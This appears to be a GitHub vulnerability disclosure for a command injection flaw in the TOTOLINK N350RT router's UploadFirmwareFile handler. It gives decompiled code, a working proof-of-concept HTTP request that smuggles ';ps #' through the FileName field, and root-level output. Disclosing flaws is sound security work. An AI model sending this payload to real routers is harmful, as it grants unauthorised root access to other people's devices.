⑂ main ⌄   vuln / TOTOLINK / N350RT / 4 /

Darry-lang1 Add files via upload ···   on Jul 21   ⟳ History

..

📁 img   4 months ago

📄 readme.md   4 months ago

☰ readme.md

TOTOLink N350RT V9.3.5u.6139_B20201216 Has an command injection vulnerability

Overview

- Manufacturer's website information： https://www.totolink.net/
- Firmware download address：
  https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.html

Product Information

TOTOLink N350RT V9.3.5u.6139_B20201216 router, the latest version of simulation overview：

NO	Name	Version	Updated	Download
1	N350RT_Firmware	V9.3.5u.5812_B20200414	2020-07-28	⊕
2	N350RT_Datasheet	Ver1.0	2020-08-09	⊕
3	N350RT_Firmware	V9.3.5u.6095_B20200916	2020-09-24	⊕
4	N350RT_Firmware	V9.3.5u.6139_B20201216	2020-12-30	⊕

Vulnerability details

TOTOLINK N350RT (V9.3.5u.6139_B20201216) was found to contain a command insertion vulnerability in UploadFirmwareFile.This vulnerability allows an attacker to execute arbitrary commands through the "FileName" parameter.

```
51    int v51; // [sp+21Ch] [-B0h]
52    int v52; // [sp+220h] [-ACh]
53    int v53; // [sp+224h] [-A8h]
54    int v54; // [sp+228h] [-A4h]
55    int v55; // [sp+22Ch] [-A0h]
56    char v56[52]; // [sp+230h] [-9Ch] BYREF
57    int v57; // [sp+264h] [-68h]
58
59    memset(v40, 0, sizeof(v40));
60    Var = (const char *)websGetVar(a1, "FileName", &byte_42E318);
61    websGetVar(a1, "FullName", &byte_42E318);
62    v3 = websGetVar(a1, "ContentLength", &word_42C8AC);
63    Object = cJSON_CreateObject();
64    v5 = strtol(v3, 0, 10) + 1;
65    strcpy(v40, "/tmp/myImage.img");
66    doSystem("mv %s %s", Var, v40);
67    if ( v5 >= 0x8000 )
68    {
69      if ( v40[0] )
70      {
71        v8 = (unsigned int)get_mtd_size("fullflash") >> 20;
```

Var is passed directly into the `dosystem` function.

```
[          ]
$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupg
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc
```

The `dosystem` function is finally found to be implemented in this file by string matching.

```
int doSystem(int a1, ...)
{
  char v2[516]; // [sp+1Ch] [-204h] BYREF
  va_list va; // [sp+22Ch] [+Ch] BYREF

  va_start(va, a1);
  vsnprintf(v2, 0x200, a1, (va_list *)va);
  return system(v2);
}
```

Reverse analysis found that the function was called directly through the `system` function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 76
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"FileName":";ps #","ContentLength":"1","topicurl":"UploadFirmwareFile"}
1
```

请求
Raw | 参数 | 头 | Hex

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 76
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"FileName":";ps #","ContentLength":"1","topicurl":"UploadFirmwareFile"}
1

响应
Raw | 头 | Hex | Render

 28 root   0 SW [kworker/0:1]
195 root   1540 S /sbin/syslogd -s128 -b0 -S -D -O /tmp/syslog.log
197 root   1536 S /sbin/klogd
210 root   0 SW [RtmpCmdQTask]
211 root   0 SW [RtmpWscTask]
212 root   0 SW [RtmpMlmeTask]
213 root   0 SW [kworker/0:2]
272 root   1236 S /sbin/detect_link
274 root   1236 S /sbin/detect_internet
345 root   3064 S apply
351 root   1236 S /sbin/watchdog
357 root   904 S /bin/lld2d br0
360 root   1548 S /usr/sbin/crond -d8
362 root   792 S /usr/sbin/networkmap -w
364 root   1296 S /sbin/rstats
370 root   832 S crpc
461 root   1572 S /usr/sbin/pppd file /tmp/ppp/options.wan0
516 nobody 1132 S /usr/sbin/dnsmasq
547 root   744 S /bin/igmpproxy /etc/igmpproxy.conf
29084 root 1548 S {sh} /bin/login
29275 root 1576 S /www/cgi-bin/cstecgi.cgi
29276 root 1548 S /bin/sh -c mv ;ps # /tmp/myImage.img
29278 root 1544 R ps
31781 root 2228 S /usr/sbin/lighttpd -f /lighttp/lighttpd.conf
{
    "upgradeERR":"MM_FwFileInvalid"
}

The above figure shows the POC attack effect

```
BusyBox v1.24.2 (2020-12-02 18:57:43 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.


/ # ls -l
drwxrwxr-x     2 1000        1000           4096 Jul 19 22:40 bin
drwxrwxr-x     3 1000        1000           4096 Dec   2   2020 dev
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 etc
drwxrwxr-x     4 1000        1000           4096 Dec   2   2020 etc_ro
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 home
lrwxrwxrwx     1 1000        1000              7 Dec   2   2020 init -> sbin/rc
drwxrwxr-x     3 1000        1000           4096 Dec   2   2020 lib
drwxrwxr-x     3 1000        1000           4096 Dec   2   2020 lighttp
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 media
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 mnt
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 opt
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 proc
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 sbin
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 sys
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 tmp
drwxrwxr-x     9 1000        1000           4096 Dec   2   2020 usr
drwxrwxr-x     2 1000        1000           4096 Dec   2   2020 var
drwxrwxr-x     9 1000        1000           4096 Dec   2   2020 www
/ #
```

Finally, you can write exp to get a stable root shell without authorization.